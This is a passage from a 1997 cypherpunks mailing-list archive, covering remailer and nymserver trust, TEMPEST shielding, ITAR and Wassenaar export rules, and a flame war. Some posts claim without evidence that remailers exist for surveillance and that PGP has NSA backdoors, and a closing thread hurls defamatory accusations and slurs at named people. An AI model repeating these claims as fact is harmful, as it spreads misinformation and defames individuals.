>Subject: also that Judgment and any by
>Date: Tue, 11 Mar 1997 13:03:45 -0500
>Message-Id: <18034564300588 at abraxis.com>
>
>do.  the such House shall during
>or time.  may he it two
>shall in and.  him Imposts of
>To and define support.  To in
>over by carrying the ten.  Law
>State Duties 
>.





From postmaster at abraxis.com  Tue Mar 11 14:00:30 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 14:00:30 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ha227325.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ha227325; Tue, 11 Mar 1997 13:03:18 -0500
>Subject: them Cases the
>foregoing
>Date: Tue, 11 Mar 1997 13:03:18 -0500
>Message-Id: <18031860400562 at abraxis.com>
>
>to of
>unless
>
>of and.  Trust of any
>laid Congress
>
>as
>for the one.  transmit shall an
>chuse a two
>which shall his.  President
>
>Services on
>and States the
>Advice but
>
>that.  to to all
>Court a 
>.





From an7575 at anon.nymserver.com  Tue Mar 11 16:47:41 1997
From: an7575 at anon.nymserver.com (an7575 at anon.nymserver.com)
Date: Tue, 11 Mar 1997 16:47:41 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703120047.RAA13604@shaman.lycaeum.org>


Kevin McCurry pretended to ask:

I would appreciate any information on the trustworthiness/security of the
below named individuals and service. Please, friends, spare me the gratuitous
remarks about Sameer, etc., that's not the issue inthis case.

  Why are you asking for information on these people and 
then stating that you don't want 'certain types' of 
information on Sameer and others?
  Are you connected in some way to these people, perhaps,
and just fishing for compliments that will be supplied
by the prepared responses of others?

  Allow me to give my 'unprepared' response in regard to
remailers in general, since you seem to be seeking only
a one-sided viewpoint about the individuals involved.

  Firstly, remailers were developed by the cypherpunks as
a method of monitoring supposedly private communications
of others, in order to increase their own power and wealth.
  The communications passing through them remain private 
and anonymous only to those who aren't running them (or who
haven't compromised the system).

  Secondly, the few remailers that aren't contolled by a
small elite within the cypherpunks come and go rather
quickly.

  Thirdly, the remailer owners only support compromised
cryptography systems such as the newer versions of PGP
produced by All-my-charges-mysteriously-disappeared-
when-I-agreed-to-switch-to-a-new-system Zimmerman.

  If you want true anonymity, learn how to hack.

TruthMonger






From ichudov at algebra.com  Tue Mar 11 17:27:16 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 17:27:16 -0800 (PST)
Subject: is cypherpunks@toad.com still moderated?
Message-ID: <199703120121.TAA00349@manifold.algebra.com>


Just curious, is the moderation experiment still continuing or 
it is over?

Thank you.

	- Igor.





From whgiii at amaranth.com  Tue Mar 11 17:52:34 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 11 Mar 1997 17:52:34 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120047.RAA13604@shaman.lycaeum.org>
Message-ID: <199703111957.TAA07938@mailhub.amaranth.com>


In <199703120047.RAA13604 at shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
   an7575 at anon.nymserver.com said:


>Kevin McCurry pretended to ask:

>I would appreciate any information on the trustworthiness/security of the
>below named individuals and service. Please, friends, spare me the
>gratuitous remarks about Sameer, etc., that's not the issue inthis case.

>  Why are you asking for information on these people and 
>then stating that you don't want 'certain types' of 
>information on Sameer and others?
>  Are you connected in some way to these people, perhaps,
>and just fishing for compliments that will be supplied
>by the prepared responses of others?

>  Allow me to give my 'unprepared' response in regard to
>remailers in general, since you seem to be seeking only
>a one-sided viewpoint about the individuals involved.

>  Firstly, remailers were developed by the cypherpunks as
>a method of monitoring supposedly private communications
>of others, in order to increase their own power and wealth.
>  The communications passing through them remain private 
>and anonymous only to those who aren't running them (or who
>haven't compromised the system).

>  Secondly, the few remailers that aren't contolled by a
>small elite within the cypherpunks come and go rather
>quickly.

>  Thirdly, the remailer owners only support compromised
>cryptography systems such as the newer versions of PGP
>produced by All-my-charges-mysteriously-disappeared-
>when-I-agreed-to-switch-to-a-new-system Zimmerman.

>  If you want true anonymity, learn how to hack.

>TruthMonger

What a crock of shit!

Do you have any *PROOF* of your accusations or perhaps you are YAGS here
too spread more lies and dissinformation?

**YAGS: Yet Another Government Stooge.


--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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From sergey at el.net  Tue Mar 11 19:40:13 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Tue, 11 Mar 1997 19:40:13 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703111957.TAA07938@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 11 Mar 1997, William H. Geiger III wrote:

- -> In <199703120047.RAA13604 at shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
- ->    an7575 at anon.nymserver.com said:
- -> 
- -> 
- -> >Kevin McCurry pretended to ask:
- -> 
- -> >I would appreciate any information on the trustworthiness/security of the
- -> >below named individuals and service. Please, friends, spare me the
- -> >gratuitous remarks about Sameer, etc., that's not the issue inthis case.
- -> 
- -> >  Why are you asking for information on these people and 
- -> >then stating that you don't want 'certain types' of 
- -> >information on Sameer and others?

** TRASH CUT **

- -> >  If you want true anonymity, learn how to hack.
- -> 
- -> >TruthMonger
- -> 
- -> What a crock of shit!
- -> 
- -> Do you have any *PROOF* of your accusations or perhaps you are YAGS here
- -> too spread more lies and dissinformation?
- -> 
- -> **YAGS: Yet Another Government Stooge.

Actually, I think anon7575 is a true cypherpunk in spirit, regardless of the
truth value of what he said.

Spreading paranoia is very conducive to security.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................

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From die at pig.die.com  Tue Mar 11 21:24:48 1997
From: die at pig.die.com (Dave Emery)
Date: Tue, 11 Mar 1997 21:24:48 -0800 (PST)
Subject: U.S. State Department crackdown (fwd)
Message-ID: <199703120526.AAA11078@pig.die.com>


Jim Conrad wrote >
>From jjc at infi.net  Wed Mar 12 00:21:16 1997
Date: Wed, 12 Mar 1997 00:20:36 -0500 (EST)
Message-Id: <2.2.16.19970312001929.4db72c86 at mailhost.norfolk.infi.net>
X-Sender: jjc at mailhost.norfolk.infi.net
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: die at die.com, ttyler at mich.com, troach at netcom.com, lrkn at zeus.anet-dfw.com,
        crisp at netcom.com, victor at best.com,
        "Michael F. Peyton" <Michael.Peyton at MCI.com>, dwilson at paprika.mwc.edu,
        stever at infi.net, rbritt at visi.net, larry51 at aol.com, jmccolman at infi.net,
        brueger at infi.net, lburke at infi.net, donjr at infi.net, acolejr at erols.com
From: Jim Conrad <jjc at infi.net>
Subject: U.S. State Department crackdown

Thought you'all might find this interesting ...


>Return-Path: jmatk at tscm.com
>X-Sender: jmatk at tiac.net
>Date: Tue, 11 Mar 1997 17:26:56 -0500
>To: jmatk at tscm.com
>From: jmatk at tscm.com (James M. Atkinson, Comm-Eng)
>Subject: U.S. State Department crackdown
>
>The U.S. State Department is starting to crackdown on the illegal
>export of TSCM and SIGINT equipment under ITAR.
>
>Noice how section (b) is worded:
>
>"...equipment designed or modified to counteract electronic surveillance
>or monitoring."
>
>-jma
>
>
>=================================================================
>
>DEPARTMENT OF STATE - Bureau of Politico-Military Affairs
>22 CFR Parts 120, 121, 122, 123, 124, 125, 126, 127, 128, and 130
>
>=================================================================
>
>  Category XI-Military [and Space] Electronics
>
>   (a) Electronic equipment not included in Category XII of the U.S. Munitions
>List which is specifically designed, modified or configured for military
>application. This equipment includes but is not limited to:
>
>   *(b) Electronic systems or equipment specifically designed, modified, or
>configured for intelligence, security, or military purposes for use in search,
>reconnaissance, collection, monitoring, direction-finding, display,
analysis and
>production of information from the electromagnetic spectrum and electronic
>systems or equipment designed or modified to counteract electronic surveillance
>or monitoring. A system meeting this definition is controlled under this
>subchapter even in instances where any individual pieces of equipment
>constituting the system may be subject to the controls of another U.S.
>Government agency. Such systems or equipment described above include, but are
>not limited to, those:
>
>   (1) Designed or modified to use cryptographic techniques to generate the
>spreading code for spread spectrum or hopping code for frequency agility. This
>does not include fixed code techniques for spread spectrum.
>
>   (2) Designed or modified using burst techniques (e.g., time compression
>techniques) for intelligence, security or military purposes.
>
>   (3) Designed or modified for the purpose of information security to suppress
>the compromising emanations of information-bearing signals. This covers TEMPEST
>suppression technology and equipment meeting or designed to meet government
>TEMPEST standards. This definition is not intended to include equipment
designed
>to meet Federal Communications Commission (FCC) commercial electro-magnetic
>interference standards or equipment designed for health and safety.
>
>
>
> ===============================================================
> "If it doesn't involve a torque wrench, then it's not TEMPEST"
> ===============================================================
>  James M. Atkinson                       Phone: (508) 546-3803
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk at tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>
>
>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc at infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>






From ichudov at algebra.com  Tue Mar 11 22:07:58 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 22:07:58 -0800 (PST)
Subject: TEMPEST protection
Message-ID: <199703120604.AAA00512@manifold.algebra.com>


Ladies and Gentlemen,

I would like to find out how hard (and expensive) would it be
to try to protect my computer by TEMPEST-like measures.

I am not an electrical engineer and am looking (hopefully) for
a relatively easy to understand do-it-yourself type of manual.

I have heard from my acquaintaince who is a tempest professional that 
it was not very possible. If that is indeed true, are there any
measures that can be taken to at least complicate spying on my computer?

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

Thank you very much.

	- Igor.





From an7575 at anon.nymserver.com  Tue Mar 11 22:26:08 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Tue, 11 Mar 1997 22:26:08 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120626.XAA27069@shaman.lycaeum.org>



Keely McCurry wrote:
> From: an7575 at anon.nymserver.com
> Date: Tue, 11 Mar 1997 17:47:31 -0700 (MST)
> 
> Kevin McCurry pretended to ask:
> 
> I would appreciate any information on the trustworthiness/security of the
> below named individuals and service. Please, friends, spare me the gratuitous
> remarks about Sameer, etc., that's not the issue inthis case.
> 
>   Why are you asking for information on these people and
> then stating that you don't want 'certain types' of
> information on Sameer and others?
>   Are you connected in some way to these people, perhaps,
> and just fishing for compliments that will be supplied
> by the prepared responses of others?

>   Firstly, remailers were developed by the cypherpunks as
> a method of monitoring supposedly private communications
> of others, in order to increase their own power and wealth.
> <<<<
> Well, that is food for thought. It's an angle I had not considered.

  The motivation behind the 'generosity' of others should always
be considered as a factor.

>   The communications passing through them remain private
> and anonymous only to those who aren't running them (or who
> haven't compromised the system).
> <<<<
> The system does involve trust on the side of the senders and integrity on the
> side of the remailers. That was my question: are there members of this list
> who can vouch [not swear] for or deny the integrity of the individual running
> the anon.nymserver.com nymserver?
> >>>>

  You are asking for opinions from people you don't personally know for
opinions as to the integrity of others whom you do not know, in order
to make decisions regarding placing your trust in someone else to 
guarantee your privacy and/or anonymity?

> Is the server I asked about controlled, or not?

Received: (from root at localhost) by shaman.lycaeum.org (Partyon/dude!)
  Judging from the (Partyon/dude!) in the headers from the server,
perhaps questions regarding 'controlled substances' might be more
pertinent.  
  As well, the new-user info they send out tells you how to hack the
accounts of others on the system, then tells you that the 'protection'
against this is defaulted to 'off'. It goes on to say that you should
turn it 'on' only if you are 'paranoid' of someone hacking 'your'
account.
  i.e. - if you don't notice or understand the implications of this,
then, by default, you are 'fair game' for hackers on their server.

>   Thirdly, the remailer owners only support compromised
> cryptography systems such as the newer versions of PGP
> produced by All-my-charges-mysteriously-disappeared-
> when-I-agreed-to-switch-to-a-new-system Zimmerman.

> What do you mean support? Which "newer versions?" Where does 2.6.2. stand in
> this hierarchy? Must we use the i versions? I use several versions including
> the international, and have noticed no difference in the ways the remailers
> process the versions.

  PGP 2.0-->2.3a were released outside of the U.S. and imported into
the country.
  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
because they use both the algorithm and sub-routines developed by the
NSA and the Military.
  Think about it.

TruthMonger

>def 2. one who attempts to stir up or spread something that is usually
>petty or discreditable

  Such as blind acceptance of remailers and iconic cryptographical
software?






From an7575 at anon.nymserver.com  Tue Mar 11 23:01:32 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Tue, 11 Mar 1997 23:01:32 -0800 (PST)
Subject: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <199703120701.AAA28172@shaman.lycaeum.org>



Russian spy Igor Chudov whispered:

>I would like to find out how hard (and expensive) would it be
>to try to protect my computer by TEMPEST-like measures.

>I am not an electrical engineer and am looking (hopefully) for
>a relatively easy to understand do-it-yourself type of manual.

  Having had electro-shock therapy, I consider myself 
somewhat of an expert in this area.
  I have an outdated computer which I set next to my new
computer, and I have self-running programs running on it
all the time. I also add a keyboard input device when I
want a little extra *noise* in the air. (It uses those 
*ducks* that swing up and down, dipping their beaks in
a glass of water.)

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

  For Martians, use an aluminum-foil hat. (That's common
knowlege).

TruthMonger






From stewarts at ix.netcom.com  Tue Mar 11 23:15:10 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 11 Mar 1997 23:15:10 -0800 (PST)
Subject: [POLITICS] Re: CIA Spy Expelled
In-Reply-To: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>
Message-ID: <3.0.1.32.19970311221952.00633d30@popd.ix.netcom.com>


At 03:13 PM 3/11/97 -0500, John Young wrote:
>Thanks to UM we offer an English version of the Spiegel 
>report on the US spy expelled by Germany (cited by NYT).
>CIA_ami

It may or may not have been coincidence, but this happened
just before the Senate Confirmation hearings for
Anthony Lake as CIA director....

Lake was a big honcho in the recent Yankee takeover of Haiti;
Haiti is also in the news because one of their ex-generals,
who was part of the coup government that the US government supported
and trained in "anti-drug" activities, was busted for smuggling
several tons of cocaine and heroin into the US through Haiti.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From dthorn at gte.net  Tue Mar 11 23:33:37 1997
From: dthorn at gte.net (Dale Thorn)
Date: Tue, 11 Mar 1997 23:33:37 -0800 (PST)
Subject: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <33265C33.15BB@gte.net>


TruthMonger wrote:
>   Having had electro-shock therapy, I consider myself
> somewhat of an expert in this area.
>   I have an outdated computer which I set next to my new
> computer, and I have self-running programs running on it
> all the time. I also add a keyboard input device when I
> want a little extra *noise* in the air. (It uses those
> *ducks* that swing up and down, dipping their beaks in
> a glass of water.)

Actually, the computer you type on will be very easy to pick out
of the noise field with modest spy equipment sitting down the street.

There's a company (I lost the brochure) who sell EM attenuator
material, some preconfigured, and presumably some bulk.  It should
be easy to find on the Web.  Once you get some really dramatic
attenuation, particularly of the keyboard (and particularly during
password confirmations, etc.), you should do your own preliminary
monitoring with some of those band-sweep gadgets.  Steady noise
of course is nothing compared to the spikes from some of the keyboard
outputs...

Once you've identified all (we can hope, can't we) of the problem
signals still leaking through the shielding (albeit at greatly
reduced levels), you can direct different kinds of efforts there,
including random noise from other computers which use the exact
same output devices.

HP has been selling Tempest-approved PC's since the early 1980's
(if not before), and at not too steep a price, either, so it can't
be all that difficult, once you get a handle on it.






From stewarts at ix.netcom.com  Tue Mar 11 23:42:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 11 Mar 1997 23:42:07 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970311234111.005d3bb0@popd.ix.netcom.com>


Someone calling themselves TruthMonger wrote:
>>   Firstly, remailers were developed by the cypherpunks as
>> a method of monitoring supposedly private communications
>> of others, in order to increase their own power and wealth.

That message was relatively funny, and trust is a serious issue
in this business - even though the suggestion that _we_ in the
Cypherpunks Elite Cabal did that, it doesn't mean that there
aren't People With Ulterior Motives running remailers, or remailers
hosted on machines run by bad guys who are actually monitoring their users.

However, if you want to spread Fear, Uncertainty, and Doubt,
at least keep your facts straight; it does a much better job.
>>   Thirdly, the remailer owners only support compromised
>> cryptography systems such as the newer versions of PGP
>> produced by All-my-charges-mysteriously-disappeared-
>> when-I-agreed-to-switch-to-a-new-system Zimmerman.
.....
>  PGP 2.0-->2.3a were released outside of the U.S. and imported into
>the country.
>  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
>because they use both the algorithm and sub-routines developed by the
>NSA and the Military.

The new algorithm was the International Drug Entrapment Agency algorithm,
introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,
Bass-O-Matic.  Pay no attention to the comments in the source about fnords,
/* these aren't the subroutines you're looking fnord */ and follow the money.
PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -
which is largely because the widespread use of PGP really did spread the 
RSA algorithm's popularity, and giving away free licenses was about the only
way for RSA Inc. to regain any control over it at all.  If you want to do
a better job of FUD, you could talk about the under-the-table relationship
between MIT and RSA or the RSA and NSA (they're only different by one letter!)
or notice that the CAPSTONE implementations of Clipper used algorithms
patented by PKP...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From an7575 at anon.nymserver.com  Wed Mar 12 00:06:55 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Wed, 12 Mar 1997 00:06:55 -0800 (PST)
Subject: Ecash Brain Tennis
In-Reply-To: <199703111801.KAA23982@crypt.hfinney.com>
Message-ID: <199703120806.BAA00437@shaman.lycaeum.org>



Hal Finney wrote:

> 

> On the Wired "brain tennis" debate, http://www.braintennis.com/, Kawika

> Daguio of the American Bankers Association wrote:

> 

> > The real danger of cyberspace is that it could be the tragedy of

> > the commons in waiting.  Technology alone won't provide participants

> > sufficient security for e-commerce to flourish. Law, tradition, and good

> > reputations and technology give rise to trust. Trust cannot be established

> > solely though technical protocols. And trust is not irrelevant.

> 

> What do you think he means about a "tragedy of the commons"?

> I wonder if he just meant that there would be too many "commoners" trying

> to engage in commerce, so you couldn't know who to trust? 

  Be assured that those already in control of commerce in 
this country and others have already written new laws 'in
their head' concerning the future of eca$h.
  I predict that these laws will be for our 'protection,'
but will have the curious effect of limiting the control
of eca$h to the already rich and powerful.

  Some groups such as the Anguila Antagonists may be able 
to wrest a certain number of digital dollars from the grip
of the system currently in place, but above a certain point,
they will eaten up, either passively or aggressively (crushed
or bought off).
  If 'outsiders' begin to make too large a dent in the main
players' piece of the action, then we can expect to see events
similar to the Junk Bonds fiasco, with the 'bad guys' set-up
and knocked down like bowling pins.

  We can expect automatic taxation at the time of all eca$h
transactions, as well as strict laws against anonymity in the
transfer of eca$h.
  Freelance cryptographers are going to be outlaws, by decree
of law. It is quite simply a matter of money (power and
control being merely prerequisites for controlling money).

TruthMonger






From an7575 at anon.nymserver.com  Wed Mar 12 00:46:33 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Wed, 12 Mar 1997 00:46:33 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120846.BAA02942@shaman.lycaeum.org>



Bill Stewart wrote:

> 

> However, if you want to spread Fear, Uncertainty, and Doubt,

> at least keep your facts straight; it does a much better job.


  The straight facts are that you can't trust your best
friend not to bop your old-lady, given ample opportunity,
and to put even more trust in a stranger is foolish.

> >  PGP 2.0-->2.3a were released outside of the U.S. and imported into

> >the country.

> >  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.

> >because they use both the algorithm and sub-routines developed by the

> >NSA and the Military.

> 

> The new algorithm was the International Drug Entrapment Agency algorithm,

> introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,

> Bass-O-Matic.  Pay no attention to the comments in the source about fnords,

> /* these aren't the subroutines you're looking fnord */ and follow the money.


> PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -

> which is largely because the widespread use of PGP really did spread the

> RSA algorithm's popularity, and giving away free licenses was about the only

> way for RSA Inc. to regain any control over it at all.

  Are you saying that the patent on the RSA algorithm wasn't
enforceable?

>  If you want to do

> a better job of FUD, you could talk about the under-the-table relationship

> between MIT and RSA or the RSA and NSA (they're only different by one letter!)

> or notice that the CAPSTONE implementations of Clipper used algorithms

> patented by PKP...


  The relationship between MIT and the NSA and the Military
isn't very far under the table. 
  The spooks funded MIT's RSA development, and they are not
noted for funding projects for the good of the common man.
To suggest that they would fund a form of cryptography that
didn't have their own back-door for sounds implausible.

TruthMonger






From shamrock at netcom.com  Wed Mar 12 01:04:02 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 12 Mar 1997 01:04:02 -0800 (PST)
Subject: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <3.0.32.19970312010250.0068a24c@netcom9.netcom.com>


At 07:21 AM 3/11/97 +0900, Hayashi_Tsuyoshi wrote:
>Although I have not seen it, there should be the Japanese
>translated version of the W.A.

While it is true that MITI has halted all exports of crypto products since
late September, citing their obligations under the Wassenaar "arrangement",
numerous high level meetings conducted by Japanese industry heavyweights
with MITI produced neither a copy of the arrangement nor any written MITI
guidelines. MITI reserves the right to decided on a case by case basis. So
far, every single export application has been denied.



-- Lucky Green <mailto:shamrock at netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From whgiii at amaranth.com  Wed Mar 12 01:18:18 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 12 Mar 1997 01:18:18 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120846.BAA02942@shaman.lycaeum.org>
Message-ID: <199703120323.DAA03881@mailhub.amaranth.com>


In <199703120846.BAA02942 at shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,
   TruthMonger <an7575 at anon.nymserver.com> said:


>  The relationship between MIT and the NSA and the Military
>isn't very far under the table. 
>  The spooks funded MIT's RSA development, and they are not
>noted for funding projects for the good of the common man.
>To suggest that they would fund a form of cryptography that
>didn't have their own back-door for sounds implausible.

Well the source code is available for PGP & the RSA library. Can you
document where in the code there is a back door for the government?

If you can show what part of the code gives you concerns I am sure everyone
on the list would be eager to listen otherwise this is just more FUD.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Windows with bullet-proof glass.

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From an7575 at anon.nymserver.com  Wed Mar 12 02:16:51 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Wed, 12 Mar 1997 02:16:51 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120323.DAA03881@mailhub.amaranth.com>
Message-ID: <199703121016.DAA05986@shaman.lycaeum.org>



William H. Geiger III wrote:

> 

> In <199703120846.BAA02942 at shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,

>    TruthMonger <an7575 at anon.nymserver.com> said:

> 

> >  The relationship between MIT and the NSA and the Military

> >isn't very far under the table.

> >  The spooks funded MIT's RSA development, and they are not

> >noted for funding projects for the good of the common man.

> >To suggest that they would fund a form of cryptography that

> >didn't have their own back-door for sounds implausible.

> 

> Well the source code is available for PGP & the RSA library. Can you

> document where in the code there is a back door for the government?


  Can you document where it isn't?
 

> If you can show what part of the code gives you concerns I am sure everyone

> on the list would be eager to listen otherwise this is just more FUD.


  I realize that you may be too inexperienced in just how the
real world works to understand the value of mistrusting systems
whose development is bought and paid for by the spooks, but I
wish I had a nickle for every loser in history who went to the
gallows complaining that they'd been lied to and fucked over
when the real problem was that they had their hands over their
ears and thier eyes closed.
  Zimmerman may be a saint or a ratfucker, but either way, he
doesn't have a key to the cell door, so I'd rather count on 
myself to stay on the open-air side of it.

  I would suggest that if you want to look for "FUD" you take
a look at your own trusting faith in spook-produced cryptography.

TruthMonger







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Date: Wed, 12 Mar 1997 03:51:09 -0800 (PST)
Subject: Everything You Need to Succeed in MLM!
Message-ID: <3.0.1.32.19970312010233.006fdd58@cash-in-now.net>


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From pez at nym.alias.net  Wed Mar 12 04:10:15 1997
From: pez at nym.alias.net (Pez Dispenser)
Date: Wed, 12 Mar 1997 04:10:15 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>
Message-ID: <19970312121010.1143.qmail@anon.lcs.mit.edu>


Sergey Goldgaber wrote:
> 
> Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
> the truth value of what he said.
> 
> Spreading paranoia is very conducive to security.
> 

Think before you write. I suppose paranoia about terrorist threats
is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
to be paranoid about these things! Let's give up all our rights so the
government can protect us!

--Pez Dispenser





From jya at pipeline.com  Wed Mar 12 04:36:25 1997
From: jya at pipeline.com (John Young)
Date: Wed, 12 Mar 1997 04:36:25 -0800 (PST)
Subject: REA_lly
Message-ID: <1.5.4.32.19970312122909.0071e268@pop.pipeline.com>


3-12-97:

US claims CIA was not spying on Germany but on
rogue states doing business there. Spy has not been
expelled.

-----

REA_lly






From dlv at bwalk.dm.com  Wed Mar 12 05:40:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:40:34 -0800 (PST)
Subject: True colours
In-Reply-To: <Pine.SUN.3.91.970311135854.29085A-100000@beast.brainlink.com>
Message-ID: <ZZkF4D6w165w@bwalk.dm.com>


Ray Arachelian <sunder at brainlink.com> writes:

> On Mon, 10 Mar 1997 paul at fatmans.demon.co.uk wrote:
>
> > > > What evidence do you have that Dr. Vulis is KGB loving? - As far as I
> > > > saw his message only confirmed that he knew that the KGB had employed
> > > > a number of good cryptographers, without personal knowledge I cannot

I also had the honor of meeting a few of them in person, and exchanging
e-mails with others. They're much nicer people than the NSA shills.

> > > > confirm or deny this therefore I see no basis in logic for calling
> > > > him a master of disinformation...
> > >
> > > Since when do you know Vulis so well that your personal knowledge can be
> > > used to confirm what he is or isn't?  Or are you yet another Vulistentacl
> >
> > Please learn to read, I stated that I did not have enough information
> > to confirm or deny this.
>
> Exactly, and my point is this: if you don't know, why do you feel the
> need to point out that you lack the knowledge to determine whether or
> not Vulis is KGB loving?  If you don't know, why bother stating this,
> then claiming you see no basis in calling him a master of disinformation?

I will neither confirm nor deny the fact that I'm a KGB colonel. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 12 05:42:13 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:42:13 -0800 (PST)
Subject: Reprehensible lying pervert Charlie Platt spams alt.torture
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <yaLF4D9w165w@bwalk.dm.com>


Dale Thorn <dthorn at gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
